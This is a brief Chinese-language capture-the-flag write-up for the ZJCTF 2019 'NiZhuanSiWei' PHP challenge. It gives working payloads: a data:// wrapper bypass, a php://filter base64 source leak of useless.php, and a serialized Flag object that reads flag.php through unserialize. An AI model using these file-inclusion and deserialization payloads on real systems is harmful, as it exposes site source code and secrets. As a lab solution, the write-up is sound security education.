[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

1

第一层绕过用伪协议了肯定:

1
?text=data://text/plain,welcome to the zjctf

可以看到是给我们提示了useless.php,但是我们看不到源码,所以file文件包含去读取useless.php的内容,理论上也可以读flag,但是这里做了个过滤:

1
file=php://filter/read=convert.base64-encode/resource=useless.php

得到源码,发现是反序列化:

2

这个反写劣化异常简单,我们只要给file变量赋值即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

class Flag{
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);

?>

最后传入password即可:

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}